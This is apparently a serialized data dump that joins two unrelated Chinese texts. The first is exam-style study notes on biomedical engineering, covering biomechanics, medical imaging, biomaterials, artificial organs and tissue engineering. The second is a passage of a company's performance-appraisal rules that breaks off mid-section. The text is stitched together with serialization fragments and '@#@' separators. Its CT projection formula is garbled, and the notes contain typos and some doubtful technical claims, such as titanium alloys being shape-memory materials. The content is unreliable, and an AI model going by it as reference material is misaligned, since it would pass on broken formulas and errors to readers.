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28373:

"生物医学工程基础@#@1.简述生物力学的研究对象、内容、基本方法和主要特点（20’）@#@定义：

@#@生物力学是解释生命及其活动的力学，是力学与医学，生物学等多种学科相互结合、相互渗透而形成的一门新兴交叉学科。

@#@@#@研究对象：

@#@力与生物体运动、生理、病理之间的关系。

@#@@#@研究目的：

@#@通过生物力学的研究，用力学分析的手段了解、学习、利用、治疗、保护并配合创造生物。

@#@另有仿生学、听诊器、血压计等都利用了生物力学的原理。

@#@@#@研究内容：

@#@

（1）生物运动学：

@#@任务是分析动物的运动。

@#@用一个有限的自由度系统的运动模拟动物的运动，在此基础上研究动物的能量，力与位移、速度与加速度之间的关系。

@#@@#@

（2）生物流体力学：

@#@研究血液、各种体液等流体的特性及生物体内的流体情况，研究生物与空气、水之间的相对运动。

@#@@#@（3）生物固体力学：

@#@研究生物体内形状稳定部分的受力特性和变形性，以及一些医疗体育器械的强度和变形情况。

@#@@#@（4）综合问题：

@#@同时考虑多项介质的相关影响。

@#@@#@研究方法：

@#@用解析方法或数值方法求解数学模型。

@#@@#@用试验方法测定物理模型或实物试件。

@#@@#@对现场进行分析研究。

@#@@#@特点：

@#@另外，生物力学在研究方法上有有别于其他各种物理问题或工程问题的研究方法：

@#@①生物力学的试验有“在体”和“离体”之分。

@#@②一部分生物材料（如肌肉）能产生主动力，因此不能用常规的材料试验方法对他们进行研究。

@#@③在体实验分麻醉态和非麻醉态。

@#@@#@2.简述细胞力学的研究内容、实验手段及其应用和发展趋势。

@#@（10’）@#@研究内容：

@#@@#@实验手段：

@#@@#@应用：

@#@①仿生学。

@#@在对生物了解的基础上学习生物的优点，进行发明创造。

@#@@#@②体育竞技等。

@#@通过对生物所做的力学分析，可以更好地发挥生物的效能。

@#@@#@③对疾病的治疗：

@#@听诊器、血压计、人体器官（人工心脏、假肢）等基于生物力学。

@#@@#@④从力学的角度改造生物，可以指导运动员的训练等。

@#@@#@发展趋势：

@#@主要集中在细胞-分子力学、骨力学、血液动力学、组织工程方面。

@#@宏-微观结合的趋势明显，如骨力学，生物流变学，组织工程等研究开始深入到细胞-分子水平。

@#@@#@3.试述下肢假肢接受腔与残端之间存在哪些生物力学问题。

@#@（10’）@#@1’接受腔/残肢界面应力测试。

@#@@#@2’接受腔CAD/CAM@#@3’有限元分析@#@4’假肢三维刚体动力学的模型@#@5’假肢步态分析、足底受力系统@#@4．简述主要医学成像（X-CT成像、超声成像、磁共振成像、核素成像）方法中任意三种方法的基本原理和所得图像的特点（图像特征适用范围、不同于其他方法的特殊之处）。

@#@（18’）@#@

（1）X-CT：

@#@@#@基本原理：

@#@X射线被准直后成为一条很窄的射线束。

@#@当X射线管沿一个方向平移时，与之相对应的检测器也跟着作平移运动。

@#@这样，射线束就对整个感兴趣的平面进行了一次扫描，检测器接收到了与脏器衰减系数直接相关的投影数据。

@#@@#@图像的特点：

@#@与投影成像比较，X-CT具有以下优越性：

@#@@#@能鉴别处较小的衰减系数差，对软组织的分辨能力高；@#@@#@可获得任意部位的断层图象，并可重建三维图象；@#@@#@可精确测定组织的衰减系数，有利于组织性质判断。

@#@@#@与MRI等成像比较，X-CT的特点是：

@#@@#@分辨率高；@#@@#@骨组织与软组织的分辨能力较强；@#@@#@软组织之间的分辨能力差；@#@@#@对人体有一定的辐射；@#@@#@只给出解剖结构信息，几乎无功能信息。

@#@@#@

（2）超声成像@#@基本原理：

@#@进入人体的超声波遇到密度变化的组织界面时，产生较强的回波信号。

@#@反射波的延迟确定界面的位置，根据接收到的回波成像，反映人体断面结构，对多普勒回波信号频移的分析，可得血流运动方向和速度信息；@#@@#@图像特点：

@#@无伤害性，可以动态显示体内器官的运动情况；@#@@#@（3）MRI成像@#@基本原理：

@#@将人体置入一个强磁场中，对人体施加一个一点频率的交变射频场，使探测的质子振动向外辐射能量，人体接受线圈中就会有感应电势产生，收到电信号经计算机处理后，得到人体的断层图像，图像灰度代表磁共振信号的强度，弛豫时间T1和T2，典型MRI对氢核和质子成像。

@#@@#@图像特点：

@#@1、基于核磁共振，无高能辐射的危险，对人体无创；@#@@#@2、可以对人体组织作出形态和功能的诊断，fMRI：

@#@磁共振功能成像；@#@@#@3、提供精确的解剖结构信息，MRI分辨率高达0.5mm,获取的三维图像数据较容易；@#@@#@4、可以不注射造影剂就可对血管成像；@#@@#@5、直接产生二维数据，无需重建。

@#@@#@（4）核素成像@#@原理：

@#@把放射性同位素标记在药物上引入病人体内，当他被人体吸收后，人体成了放射源。

@#@放射性同位素在衰变的过程中，将向体外辐射r射线。

@#@用核素探测器体外定量的观察这些同位素在体内的分布情况，以此成像。

@#@@#@目前是心脏功能评价和心脏疾病诊断的主要手段，但分辨率较低，图像质量差。

@#@@#@4、试从空间分辨率、功能（图像所提供的信息）方面对X射线断层成像、磁共振成像、正电子发射断层成像和超声成像进行比较分析：

@#@@#@X线机@#@X-CT@#@磁共振@#@PET@#@US@#@功能@#@透视@#@拍片@#@断层结构@#@断层结构@#@代谢功能@#@代谢功能@#@结构形态@#@血流测量@#@组织定征@#@特点@#@设备简单@#@电离辐射@#@影像重叠@#@断层摄影@#@电离辐射@#@非实时@#@断层摄影@#@设备昂贵@#@非实时@#@断层摄影@#@分辨率低@#@放射性药物@#@无创、无电离辐射@#@断层成像实时动态@#@形态功能与定征@#@设备价格便宜@#@空间分辨率@#@分辨率低，能区分软组织的细节@#@分辨率高，骨组织、软组织分辨力强，软组织之间分辨力差@#@分辨率较X-CT低，对软组织的诊断能力强@#@分辨率低@#@分辨力低，图像质量差@#@主要应用领域@#@骨骼、血管等@#@脑、骨、钙化@#@脑、神经、血管、肌肉等软组织@#@人脑、心脏、全身其他器官及肿瘤@#@肝器外形及大小、柔度或可动度；@#@病边缘回声；@#@内部结构特征；@#@同临关系等，心脏功能评价、心脏疾病诊断@#@5、简述生物医学测量的特点。

@#@简述生物测量系统组成及各部分的功能，并举一具体仪器加以说明。

@#@@#@特点：

@#@1、生物医学测量基本属于弱信号测量；@#@@#@2、生物体内噪声对测量有重要影响；@#@@#@3、信息测量中容易引入外界环境的干扰；@#@@#@4、生物医学信息的多变性；@#@@#@5、生物医学测量的安全要求：

@#@电安全性、机械安全性、化学安全性。

@#@@#@生物医学系统的组成：

@#@a、被测对象b、测量仪器c、测量环境@#@生物医学测量仪器的组成:

@#@信息获取、信号加工、记录与显示三大部分。

@#@@#@功能：

@#@@#@1’感知被测信息并使之转换成为易于测量和加工的电信号或其他性质的信号；@#@@#@2’用以对电机或传感器获取的新信号做放大、存储、信号处理等必要加工，以适于对测量结果的分析、识别和量化，并提供给记录与显示部分;@#@@#@3’将各种测量结果最终以一定形式显示给需要者，并按其需要记录下来供存储分析。

@#@@#@如X-CT医学成像系统，由X射线源、检测器、计算机和显示器构成。

@#@其中，X射线源和检测器为信息获取装置，计算机系统为信息技工装置，而显示器为记录与显示装置。

@#@@#@6、任举三例，说明医学图像处理与分析内容和意义。

@#@@#@

（1）医学图像增强@#@内容：

@#@空域处理（点处理、邻域处理），频域处理@#@意义：

@#@对比度调整；@#@对图像滤波，达到消除图像中的噪声或者增强边缘等提高图像质量，有利于操作者的观察；@#@采用图像处理往往能有效地改善图像的观察效果；@#@抑制噪声；@#@突出边缘。

@#@@#@

（2）医学图像变换@#@内容：

@#@傅里叶变换、离散余弦变换、正弦变换、沃-哈变换@#@意义：

@#@把原先二维空间域中的数据变换到另外一个“变换域”，使一些在空间域不易实现的操作，在变换域中简单，方便的完成。

@#@@#@（3）医学图像分割@#@内容：

@#@根据某种均匀性的原则，将图像分成若干有意义的部分，使得每一部分都符合某种一致性的要求，而任意两个相邻部分合并都会破坏这种一致性。

@#@@#@意义：

@#@对人体各种组织的正确分割和分类为临床组织病变提供计算机辅助的依据，也是图像三维重建，医学图像可视化的基础。

@#@@#@7、简述医学材料的基本性能要求有哪些？

@#@生物医学材料生物功能性内涵式什么？

@#@生物医学材料按照化学组成可划分为哪些种类？

@#@杂化生物已足额材料的构成特征是什么？

@#@基本性能要求：

@#@A、生物功能性B、生物相容性C、生物安全性@#@生物功能性：

@#@指生物医学材料在植入位置行使功能的能力，或为执行能力，其自身和植入位置应当满足适当的物理化学要求；@#@生物医学材料能否有效的行使功能，除与其自身的物理化学性质相关外，还和其所处的生物环境相关。

@#@生物功能性即指材料本身行使功能必须具有的物理化学性质也包括材料对其植入位置的物理化学要求。

@#@@#@按化学组成分类：

@#@@#@1、无机生物医学材料@#@2、金属及合金生物医学材料@#@3、高分子生物医学材料@#@4、复合生物医学材料@#@5、生物功能材料（杂化生物医学材料）@#@杂化生物医学材料构成特征：

@#@采用物理或化学的方法将生物活性分子加抗体、抗原等固定在人工材料表面或内部，构成具有生理功能的生医材料，是活体材料与非活体材料杂化组成的新型复合生材。

@#@@#@7’、列举一种典型生物功能材料，说明其在材料体系构成与修复功能上与其他复合生物医学材料的异同，分析金属生物医学材料应用过程中除了满足基本性能要求外，还有哪些特殊要求？

@#@@#@列举：

@#@将酶固定高分子微胶囊内，利用高分子半透膜，将酶与体内蛋白分开，避免了免疫反应，小分子物质和酶反应产物又可以自由通过高分子膜，达到治疗目的。

@#@用类似方法，利用生物活性分子固定在材料上以制备各种杂化人工器官，代替和修复人体器官，可实现生物功能的目的。

@#@@#@金属材料特殊要求：

@#@1、腐蚀问题：

@#@金属浸在体液中被腐蚀，降低或破坏金属的机械性能，导致断裂，产生腐蚀物对人体有刺激性和毒性。

@#@@#@2、毒性问题：

@#@金属的毒性主要作用于细胞，可抑制酶的活动，阻止酶通过细胞膜扩散和破坏溶酶体。

@#@某些金属会引起过敏反应。

@#@@#@3、金属材料的机械性能：

@#@健康骨骼具有自行调节能力，不易损坏或断裂。

@#@植入材料不具有自行调节能力，需要比自然骨更高的强度和弹性模量，一般要求强度不低于450MPa。

@#@@#@4、其它问题：

@#@冶炼工艺添加剂问题、消毒方法问题、抗凝血及溶血问题、松动问题及多孔材料等。

@#@@#@1、生物医学材料的应用特征是什么？

@#@什么是载药生物医学材料？

@#@@#@答：

@#@生物医学材料的应用特征：

@#@生物医学材料很少单独使用，通常是结合在医学装置中替代发生病变或失去功能的生命体器官。

@#@@#@载药生物医学材料：

@#@在材料中（最常见是修复材料）复合治疗药物植入人体后缓慢释放，进行辅助治疗。

@#@@#@金属医学材料在临床上的应用：

@#@@#@

（1）不锈钢作为生物医学材料，在临床上已有多年实际应用，一般作为人工骨、人工关节、接骨板、销钉等；@#@@#@

（2）钴基合金目前主要用作人工关节及关节修复体；@#@@#@（3）由于钛合金抗剪切强度较低，一般不作为骨螺钉、骨片及类似应用，钛合金具有一定的形状记忆效应（材料变形后，通过加热可恢复原状），因此是矫形外科、管状器官治疗的理想材料。

@#@@#@8、什么是天然生物材料？

@#@在天然生物材料的应用中，对生物组织进行处理的方法主要有哪两种？

@#@接近惰性的生物陶瓷材料的行为特征是什么？

@#@有哪些主要性能要求？

@#@常用的接近惰性的生物陶瓷有哪些？

@#@有什么主要用途？

@#@（20’）@#@天然生物材料：

@#@来自人体自身组织同体（如人尸体）或异体（如动物）同类器官与组织的材料，是天然高分子材料。

@#@人类和动物机体的皮肤，肌肉组织和器官，成机体的基本物质，如蛋白质、多糖、核酸都是高分子化合物，他们在机体内行使各种生理功能。

@#@医用：

@#@天然蛋白质材料；@#@天然多糖类材料；@#@经特殊处理的天然生物材料=>@#@生物再生材料（生物衍生材料）。

@#@@#@处理方法：

@#@1、维持组织原有构型而进行的固定、灭菌和消除抗原性和较轻微处理。

@#@@#@2、拆散原有构型，重建新的物理形态的强烈处理。

@#@@#@接近惰性的生物陶瓷行为特征和主要性能要求：

@#@@#@在宿主内能维持其物理、化学和力学性能，并由此而长期的维持其生物功能。

@#@@#@应该是无毒、非致癌、不过敏、不发生炎症的。

@#@@#@常用的惰性生物陶瓷主要有：

@#@氧化铝陶瓷、氧化锆陶瓷、单相铝酸钙陶瓷、碳素材料等。

@#@@#@氧化铝陶瓷——由于氧化铝陶瓷具有优良的抗腐蚀性能、良好的生物相容性、高的强度和耐磨损性能，常将其应用于承重、承力的髋关节、膝关节置换体、牙科种植体等。

@#@@#@氧化锆陶瓷——基于氧化锆陶瓷优良的生物相容性、良好的断裂韧性、高断裂强度和低弹性模量，适合制作需承受高剪切应力的人工关节。

@#@@#@碳素材料——制作人工心脏瓣膜等。

@#@生物碳素材料具有良好的生物相容性和血液相容性，广泛用于心血管材料；@#@与人骨弹性模量相近，可作为牙科种植体构成材料。

@#@@#@什么是生物活性材料？

@#@生物活性材料的组成特征？

@#@@#@生物活性材料是一类能在材料界面上诱发出特殊生物反应的材料，这种反应导致组织与材料之间形成键合。

@#@@#@特征：

@#@可降解，可诱导成骨，组织与材料之间形成键合。

@#@@#@生物活性陶瓷的组成中含有能够通过人体正常新陈代谢途径进行置换的钙、磷等元素，或含有能与人体组织发生键合的羟基（OH-）等基团@#@9、什么是人工器官？

@#@它的主要作用是什么？

@#@试比较天然器官移植与人工器官的优缺点。

@#@（13’）@#@人工器官：

@#@广义：

@#@不论体内或体外、短期或长期、局部或全部的补偿、替代或修复人体天然器官或其功能的人造装置，都可认为是人工器官。

@#@人工器官作为一种医疗方法或装置，是对人体器官的某种模拟。

@#@狭义：

@#@只有那些替代了原自然器官的位置，并能发挥其余全部功能的和具有生物活性的人造装置才是人工器官。

@#@@#@主要功能：

@#@功能和置换俩方面@#@人工器官和天然器官的对比：

@#@@#@自然器官一般都具有多种功能，而人工器官仅能代替天然器官的部分功能。

@#@天然器官都具有生命活性，而人工器官很难有。

@#@同种天然器官的生物相容性好，而人造材料与机体相容性不好。

@#@天然器官无需加以控制，而人工器官需加以控制。

@#@天然器官可生长与自我修复，而人工器官不生长与自我修复，但天然器官供体有限，而人工器官可大量生产。

@#@@#@试举一例说明一种工器官的分类、基本组成、应用和组成的基本问题。

@#@（以工心瓣为例）（10’）@#@分类：

@#@机械瓣：

@#@笼球瓣、笼碟瓣、斜碟瓣、双叶瓣@#@生物瓣：

@#@同种生物瓣、异种生物瓣@#@基本组成：

@#@瓣环、瓣架、阻塞体@#@应用：

@#@置于心脏的相应位置（不一定是天然心瓣的原位置），替代天然心瓣开放或阻断功能（止逆阀）的人造装置。

@#@@#@基本问题：

@#@（机械瓣）：

@#@血液相容性问题始终存在，导致凝血和血栓。

@#@更换机械瓣的病人需终生抗凝。

@#@此外在流体力学和机械性能上也存在欠缺。

@#@@#@（生物瓣）：

@#@瓣开口面积小，跨瓣压差大，有类射流效应，类脂质沉积，钙化衰变。

@#@@#@10、人工肺有哪些（各种临床应用）？

@#@什么是血液透析？

@#@它的主要作用是什么？

@#@@#@人工肺的作用：

@#@①CPB心肺旁路@#@②ECMO体外膜式氧合器@#@③ECCOR体外CO2排除法@#@④CPCR心肺脑复苏@#@⑤IVOX静脉血管内氧合器（植入式人工肺）@#@⑥重要器官保存@#@⑦人造子宫@#@⑧人工肺辅助@#@血液透析：

@#@将血液用人造的装置来加以过滤。

@#@@#@作用：

@#@对血液进行过滤，滤除血液中有毒的含氮化合物，调节ＰＨ值，维持正常的血浆电解质平衡。

@#@@#@人工肾叫血液透析器，广义地说，体内或体外的部分或全部地短时或长期的替代人体肾及其功能的装置可称为人工肾，主要用于治疗急慢性肾衰和尿毒症，目前的人工肾主要用于治疗和作为天然异体肾的移植的过渡或桥梁。

@#@用于排泄和调节。

@#@@#@　　@#@生物医学材料的生物安全性——采用生物学方法检测材料对复合体的毒副作用，从而预测该材料在医学实际应用中的安全性。

@#@@#@包括，材料对受体局部组织、血液和整体的反应，对受体的遗传效应等。

@#@@#@11、简述人工机械心瓣与人工生物心瓣的优缺点。

@#@（7’）　　@#@机械@#@生物@#@优点:

@#@　　使用寿命长，终生使用@#@与机械心瓣相比，人工生物心瓣：

@#@@#@1、中心流型，血流状态接近天然心瓣状态。

@#@@#@2、瓣叶有柔性，挠性，对血液损伤小。

@#@@#@3、表面相容性好，血栓生成少。

@#@@#@4、不用终身抗凝@#@5、无噪音。

@#@@#@缺点：

@#@1、阻塞体（瓣叶等）多为非中心流型；@#@@#@阻碍正常的血流状态，即使是最好的双叶瓣，也仅是近中心流型。

@#@@#@2、人工材料与人体组织相容性差，易@#@产生血栓。

@#@@#@3、必须终生抗凝，因此易导致大出血。

@#@@#@4、有时会发生机械结构失灵，会直接@#@威胁生命。

@#@@#@5、机械瓣多是刚性材料，关闭不是@#@十分柔和。

@#@@#@1、瓣开口面积较小。

@#@@#@2、跨瓣压差较大。

@#@@#@3、有类射流效应。

@#@@#@4、类脂质沉积。

@#@@#@5、钙化衰变。

@#@@#@一、填空题（2005）@#@1、人工器官的作用主要是功能与置换两个方面。

@#@@#@2、器官移植可分为同种异体器官移植与异种器官移植。

@#@@#@3、按应用部位分类，可以将人工器官分为体内与体外两大类。

@#@@#@4、心肺旁路是人工肺最早最基本的应用，体外循环是它实现的前提，它是由氧合器、血泵、插管与管道、血液回收器、过滤器、热交换系统等组成。

@#@@#@5、以工作原理进行分类，人工肺可分为直接接触式与间接接触式。

@#@@#@6、膜式人工肾可以分为平板式与中空纤维式。

@#@@#@7、人工输尿管的关键是抗返瓣的设计。

@#@@#@8、心血管系统人工器官主要是人工心瓣、人工心脏辅助、全人工心脏。

@#@@#@9、人工心瓣按材料分为机械瓣和生物瓣。

@#@@#@10、人工机械心瓣由瓣环、瓣架和阻塞体三基本部分组成。

@#@@#@11、全人工心脏由血泵、功能系统、驱动系统、自动检测控制系统四部分组成。

@#@@#@12、人工肝分为非生理人工肝辅助、生理人工肝辅助和杂化式人工肝三类。

@#@@#@13、在运动系统的人工器官中，最普及用量最大的事人工肝和人工关节。

@#@@#@14、克隆器官的关键是克隆技术与定向分化培育。

@#@@#@15、克隆器官有技术、社会和伦理等问题。

@#@@#@二、简述生物医学工程的一般定义；@#@说明生物医学工程研究的目标是什么？

@#@（10）@#@一般定义：

@#@综合运用现代自然科学和工程技术的原理、方法，从工程学的角度在多种程度研究生物体，特别是人体的结构、功能和其他生命现象，揭示和论证生命运动@#@的规律，深化对生命系统的认识，提供防病、治病、卫生保健、康复、安全防护的新理论和新方法，设计和研制用于防病治病等的新材料、人工器官装置与系统的新兴交叉学科。

@#@@#@应用物理学和工程学的技术来解决生命系统中的问题，突出强调人类疾病的诊断、治疗和预防。

@#@@#@研究的基本任务：

@#@@#@运用工程技术手段研究和解决生物学和医学中的有关问题。

@#@@#@三、六十年代将生物医学材料的定义为“植入活体内或与活体结合而设计的生活体系统不起药物反应的惰性物质”；@#@80年代则将生物医学材料定义为“用于取代、修复活体组织的人造的或天然的材料”。

@#@请从生物医学材料定义的演变分析生物医学材料的发展。

@#@（10’）@#@60年代对生物医学材料的定义特征为：

@#@人造、非生命、应用、生物相容、无药物反应——生物材料与药物的区别。

@#@@#@惰性——化学稳定，生物稳定。

@#@@#@随着生物材料的发展，该定义已明显不适应生物材料的功能与范畴的飞速发展——载药生物材料，生物活性材料。

@#@@#@80年代的定义@#@不限制：

@#@人造/天然，体内/体外，活性/惰性，长期/短期。

@#@@#@范围：

@#@医用、生物相容。

@#@@#@生物医学材料的应用特征：

@#@通常结合在医学装置中替代发生病变成失去功能的生命体器官。

@#@@#@最早的应用追溯至公元前3500年（棉花纤维、木片修补颅骨缺损等）@#@20世纪，高分子材料的应用带来了生物医学材料的巨大发展。

@#@@#@20世纪50年代，各种复杂人工器官的出现，使生物医学材料学科与其他相关技术的交叉与渗透更趋深入，进入新阶段。

@#@@#@骨修复材料的基本功能特性：

@#@（特征：

@#@可降解，可诱导成骨）硬度，强度，弹性模量。

@#@@#@四、什么是组织工程材料？

@#@组织工程材料有什么优点？

@#@骨组织工程支架材料有什么性能要求？

@#@（15’）@#@组织工程材料：

@#@为解决器官或组织损伤的修复，利用组织工程将活体某一器官的细胞在体外进行分离培养，种植到三维支架上植入体内，使细胞借助支架和营养物慢慢生长出新的细胞和器官。

@#@从材料学与工程观点看，这种具有生命的活体组织科视为细胞的复合生物材料，即为组织工程材料。

@#@@#@优点：

@#@无抗原性，来源不受限制，可按预先设计塑性，具有生命力和功能比较。

@#@@#@学术：

@#@

（1）高的孔隙率，大的表面积，以培养更多的细胞，为再生器官提供足够的@#@细胞。

@#@@#@

（2）高的结构强度，这对修复硬组织尤为重要。

@#@@#@（3）特殊的三维构型。

@#@@#@（4）加工的技术先须使其制备的支架构型不引起不利于生物相容性的效应。

@#@@#@（5）待成熟后自行降解，降解的碎片不引起炎症和毒性（骨组织工程化材料常用课降解的磷酸钙陶瓷，如β–磷酸钙陶瓷作支架材料）@#@四’、简述组织工程的概念及其在人工器官中的应用（8’）@#@组织工程：

@#@应用生命科学和工程学的原理和方法，去认识动物的正常和病态的结构——功能的关系，建造一种生物装置来维护、增进人体细胞核组织成长，已恢复或重建受损组织或器官的结构和功能，维持或改善组织器官的一门新兴边缘学科@#@组织工程在人工器官中的应用：

@#@利用组织工程的概念与方法，产生具有生物活性的组织，可成为器官的部分替代物。

@#@人工器官的关键是材料。

@#@为了发展人工器官，人工材料的研究必须先行。

@#@在活性生物材料的基础上开发具有生物活性的人工器官，这就是仿生人工器官。

@#@目前主要的途径就是组织工程器官。

@#@@#@组织工程材料用于制备组织工程化人工器官和组织（仿生人工器官和组织），如人造血管，骨和软骨，人工胰脏，肾上腺，人工皮肤，神经再生等。

@#@@#@五、尽你所能论述生物力学与组织工程的关系（25’）@#@无论是广义而言还是狭义而言；@#@无论从科学基础层面还是从工程技术层面来看，生物力学都是组织工程的不可或缺的基础。

@#@大体而言，主要包括：

@#@@#@1、组织、器官在体力学环境（应力分布等）的分析和在体力等环境外模拟（调控）。

@#@@#@2、应力——细胞发育、增殖、分化的关系。

@#@@#@3、细胞——材料表面之间的mechano-chemicaleffects.@#@4、细胞粘附，变形，运动的力度规律及生物学图式形成和变化的动力学规律。

@#@@#@5、离体培养组织植入体内后和机体组织的相互作用。

@#@@#@6、细胞/组织三维培养系统的流动和传质规律。

@#@@#@7、离体培养组织的力学性能及其和自然组织性能的比较等等。

@#@@#@生物力学和生命科学的真正结合，是组织工程未来发展中至关重要的一点。

@#@@#@六、描述有创/无创测量方法的分类和定义，并举出实际的例子（30’）@#@无创测量@#@按测量条件分有创测量@#@微创测量@#@无创测量：

@#@又称非侵入式测量，其测量系统的探测部分不侵入生物体组织，不造成机体创伤，是生物医学测量技术的发展方向。

@#@如大量高速发展的医学成像技术（X-CT、MRI、US等）。

@#@举X—CT@#@有创测量：

@#@又称侵入式测量，其测量系统的探测部分需侵入生物体内，会造成机体不同程度的创伤。

@#@慎用，一般用于危重病人监测、动物监测。

@#@如心内或大血管内的血压或血流形，因难以从体表有效传递生物信息，故采用心导管手术等有创方法进行测量。

@#@@#@植入式测量@#@微创测量@#@内窥检查@#@植入式测量：

@#@将测量系统的部分或全部经手术埋植于体内，多用于长期连续测量生物体的功能状态和控制心脏起搏器等人工器官装置及某些自动输药系统。

@#@安全性和可接受性均优于有创测量。

@#@@#@内窥镜检查：

@#@如胃镜、直肠镜、膀胱镜等，它们基本不损伤皮肤，不侵入机体的组织，只会引起轻微的组织擦伤和不适，信息失真小，信号强，测量准确。

@#@@#@七、CT成像的原理可用以下三个公式来描述，请说明每个公式的含义及其在X—CT中的实现方法。

@#@@#@

（1）Pot=-∞+∞-∞+∞fx,yδ（xcosθ+ysinθ-t）dxdy@#@";i:

1;s:

23193:

"企业绩效考核实施细则@#@绩效考核实施细则@#@绩效考核实施细则@#@一、本方案制定的依据及成功实施考核的前提@#@为指导和便利各部门及全体员工顺利地实施绩效考核根据《×@#@×@#@集团有限公司绩效管理制度》（以下简称“绩效考核管理制度”）特制定本细则。

@#@@#@《绩效考核管理制度》是公司实施考核的基本依据，因此实施绩效考核前各部门认真系统地学习、掌握《绩效考核管理制度》是成功实施绩效考核的基本前提。

@#@@#@二、绩效考核基本知识@#@绩效考核通常也称为业绩考评或“考绩”，是针对每个职工所承担的工作，应用各种科学的定性和定量的方法，对职工行为的实际效果及其对企业的贡献或价值进行考核和评价。

@#@业绩考评的目的是通过考核提高每个个体的效率，最终实现企业的目标。

@#@进行业绩考评工作，需要做大量的相关工作。

@#@@#@首先，必须对绩效考核的涵义有一个全面、正确的认识；@#@@#@第二，必须科学完整的设定考核指标；@#@@#@第三，各部门都必须全面参与，进行组织实施。

@#@绩效考核不仅仅是人事部门的责任，而是各部门的一项具体工作任务。

@#@人事部门是具体组织员工绩效管理工作的常设机构，各部门则是实施绩效管理的执行人。

@#@@#@绩效考核是一种周期性检讨与评估员工工作表现的管理系统，是指主管或相关人员对员工的工作做系统的评价。

@#@有效的绩效考核，不仅能确定每位员工对组织的贡献或不足，更能在整体上对人力资源的管理提供决定性的依据资料，从而可以改善组织的反馈机能，提高员工的工作绩效，更可激励士气，也是作为公平合理地酬赏员工的依据。

@#@@#@根据绩效考核的基本原理，对各级职工的考评，都必须由被考评者的“直接上级”进行。

@#@直接上级相对来说最了解被考评者的实际工作表现（成绩、能力），也最有可能反映真实情况。

@#@这样便明确了考评责任，并且使考评系统与组织指挥系统取得一致，更有利于加强经营组织的指挥机能。

@#@@#@三、考核的组织机构和职责@#@

（一）组织构成@#@公司绩效管理体系的组织构成包括总经理办公会、人力资源部、经营管理部及各部门（项目部）负责人。

@#@@#@

（二）总经理办公会@#@总经理办公会是总经理领导下的非常设机构，其组成包括公司总经理、副总经理、财务总监、总工程师、总经济师。

@#@在讨论、决策考核有关事项时，总经理可指定人力资源部和经营管理部等相关部门负责人参加。

@#@@#@总经理办公会在绩效考核方面主要承担以下职责：

@#@@#@1、绩效管理方案及相关制度制定、修订的审批；@#@@#@2、议定公司的绩效管理体系重要原则问题；@#@@#@3、决定公司的总体绩效目标，负责对考核制度的执行情况进行监督；@#@@#@4、负责对考核期内被考核者考核指标及权重、考核目标调整的审批；@#@@#@5、对部室（项目部负责人）月度工作总结汇报和年度述职报告进行评议；@#@@#@6、员工考核等级比例的确定；@#@@#@7、员工考核申诉的最终处理。

@#@@#@（三）人力资源部@#@人力资源部是具体组织执行员工绩效管理工作的常设机构，承担以下职责：

@#@@#@1、拟定员工绩效管理及相关制度，针对实施中的问题提出修改建议；@#@@#@2、对考核各项工作进行组织、培训和指导；@#@@#@3、对考核过程进行监督与检查；@#@@#@4、汇总统计考核评分结果，提出考核等级比例建议；@#@@#@5、协调、处理各级人员关于考核申诉的具体工作；@#@@#@6、员工绩效考核指标库的管理和完善；@#@@#@7、对考核过程中不规范行为进行纠正、指导与处罚；@#@@#@8、为员工建立考核档案，作为薪酬分配、工资晋升、职务晋升、岗位调整、员工培训和荣誉评比等的依据。

@#@@#@（四）经营管理部@#@经营管理部是具体组织执行部门和项目部业绩考核工作的常设机构，主要承担以下职责：

@#@@#@1、负责根据公司年度经营目标，组织制订部门（项目部）年度策略目标，全程参与部门（项目部）任务考核目标值的商定、变更和管理；@#@@#@2、负责审查、备案部门（项目部）年度、月度计划；@#@@#@3、收集与部门和项目部考核指标相关的资料信息，对部门和项目部考核指标进行得分计算，提出部门考核等级建议；@#@@#@4、建立部门绩效考核档案，作为部门和项目部奖金兑现、经营目标调整、培训、奖励惩戒等的依据。

@#@@#@（五）各部室、项目部负责人@#@各部门负责人是绩效管理的执行人，承担以下职责：

@#@@#@1、负责帮助本部门员工制定工作计划、KPI考核指标、工作目标及权重；@#@@#@2、负责组织本部门的考核工作；@#@@#@3、负责本部门考核指标实现的过程管理，帮助和支持下属员工实现工作目标；@#@@#@4、负责根据考核结果帮助员工制定绩效改进计划。

@#@@#@四、考核内容@#@公司从工作业绩、工作态度和工作能力三个方面对员工进行绩效考核（考核内容因岗位职务的不同考核项目也有所不同）。

@#@@#@

（一）工作业绩@#@工作业绩考核是对员工在考核期内履行职责情况或对工作结果的考核，是对员工工作贡献程度的衡量和评价，直接体现出员工在公司中的价值大小。

@#@业绩考核分为任务绩效考核和周边绩效考核。

@#@@#@1、任务绩效。

@#@适用于全体员工。

@#@在任务绩效考核中具体包括关键业绩指标（即KPI指标）评价和工作目标（即GS指标）效果评价。

@#@KPI指标和GS指标已在公司《任务绩效指标库》中列明。

@#@@#@工作目标指标（即GS指标）是指员工在考核期内应该完成的主要工作及其效果；@#@是对工作范围内的一些相对长期性、过程性、辅助性和难以量化的关键工作的任务完成情况的评价方法。

@#@它是对关键业绩指标的有效补充。

@#@@#@任务绩效指标的设定步骤是：

@#@

（1）了解公司的战略；@#@

（2）以部门内绩效目标（即本部门在本月或本年度要完成哪些工作任务、取得什么样的业绩）为依据；@#@（3）进行职务分析，设定（岗位）工作要项；@#@（4）从公司《任务绩效指标库》中选取指标或另设定新指标。

@#@@#@2、周边绩效@#@周边绩效适用于高、中层管理人员（总经理、副总、各部门负责人、项目经理及项目部科室负责人）。

@#@它从主动性、响应时间、解决问题的时间、信息反馈的及时性和服务质量等五个方面进行考核。

@#@它的作用在于增强相关部门间的团队合作精神，促进流程在部间的顺利进行。

@#@@#@

（二）工作态度@#@工作态度考核主要用于部室（项目科室）负责人以下的员工。

@#@它主要是考核被考核者的工作态度和工作作风。

@#@工作态度主要从员工的积极性、协作性、责任心和纪律性等四个方面进行考核。

@#@@#@（三）工作能力@#@工作能力能力考核适用于所有员工，且根据员工类别的不同，其考核内容也不同。

@#@它主要是考核被考核者完成各项专业性活动所具备的特殊能力和岗位需要的素质能力。

@#@@#@五、考核指标的设定@#@设定考核指标是实施绩效考核过程中最关键的环节。

@#@在北大纵横管理咨询过程中，已将各岗位指标库设定（见<@#@路桥集团有限公司指标库>@#@），需各部门负责人根据公司经营战略和部门绩效计划选定考核指标。

@#@当指标库中没有满足当前所需指标时，可新设指标，并充实到指标库中。

@#@@#@

（一）关键业绩指标（KPI指标）和工作目标（GS指标）设定@#@在设定这两个指标时应突出关键和重点，选取那些与公司价值关联度大、与岗位职责紧密结合的业绩指标和工作目标。

